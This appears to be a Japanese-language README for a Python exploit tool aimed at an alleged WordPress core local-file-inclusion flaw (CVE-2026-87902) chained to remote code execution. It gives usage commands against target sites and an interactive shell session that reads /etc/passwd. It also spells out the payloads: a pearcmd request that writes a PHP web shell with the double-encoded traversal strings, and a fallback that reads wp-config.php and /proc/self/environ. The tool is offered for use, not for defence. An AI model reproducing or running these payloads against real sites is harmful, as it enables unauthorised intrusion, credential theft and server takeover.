CVE-2026-87902(WordPress CoreのLFIからRCEへのチェーン)用のPythonエクスプロイト。バージョンをフィンガープリントし、pearcmd経由でPHPシェルを書き込み、コマンド実行またはLFIフォールバックを提供します。
| 項目 | 値 |
|---|
| CVE | CVE-2026-87902 |
| 種類 | ローカルファイルインクルージョン (LFI) → リモートコード実行 (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Critical) |
| 攻撃ベクトル | ネットワーク (未認証) |
| 影響を受けるバージョン | WordPress 4.7.0 – 7.1.1 |
| 修正済み | WordPress 7.1.2 (および 4.7.37 までのバックポート) |
| 根本原因 | get_page_template() が pagename パラメータをURLデコードした後に validate_file() を呼び出さないため、二重エンコードされたトラバーサル (%252E%252E%252F) がサニタイズをバイパスし、テーマディレクトリ外の任意の .php ファイルをインクルードできる。 |
完全なRCEには、以下のすべてが真である必要があります:
page-* ディレクトリが含まれている (例: page-templates/)pearcmd.php が存在し、Webサーバーユーザーが読み取り可能 (公式PHP Dockerイメージや、PHP < 8.5 の多くのcPanelインストールでデフォルト)register_argc_argv=On である (PHP < 8.5 でデフォルト)これらのいずれかが欠けている場合、エクスプロイトは LFIのみのファイル読み取り にフォールバックします。
exploit.py # メインエクスプロイトスクリプト README.md # このファイル report.json # (オプション) -o 使用時の出力レポート
インストール:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
これにより以下を実行します:
· WordPressのバージョンと有効なテーマをフィンガープリント · 脆弱なバージョン範囲を検証 · 公開済みページIDを特定 (REST → sitemap → ブルートフォース) · pearcmd.php 経由でPHPシェルの書き込みを試行 · シェルをインクルードして id の実行を試行 · RCEが失敗した場合、機密ファイルに対するLFIにフォールバック
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
シェル内:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLIリファレンス
フラグ ロング 説明 -t --target 必須。対象のWordPress URL (末尾のスラッシュなし)。 -c --command RCE後に単一のシェルコマンドを実行。 -i --interactive RCE後にインタラクティブシェルを開く。 -v --verbose 詳細な進行状況を表示。 -o --output 最終レポートを指定されたパスにJSONとして保存。 -h --help ヘルプを表示。
🔄 エクスプロイトの流れ
[1] フィンガープリント
├─ WordPressバージョン (meta generator / asset ?ver=)
└─ 有効なテーマ (/wp-content/themes/<name>/)
[2] バージョンチェック
└─ 4.7.0 – 7.1.1 ? 続行 : 警告して続行
[3] ページIDの検索
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ ブルートフォース: /?page_id=1..30
[4] page-* ディレクトリのチェック
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] pearcmd経由でシェルを書き込み
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] シェルをインクルード
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] フォールバックLFI (RCEが失敗した場合)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. バリアント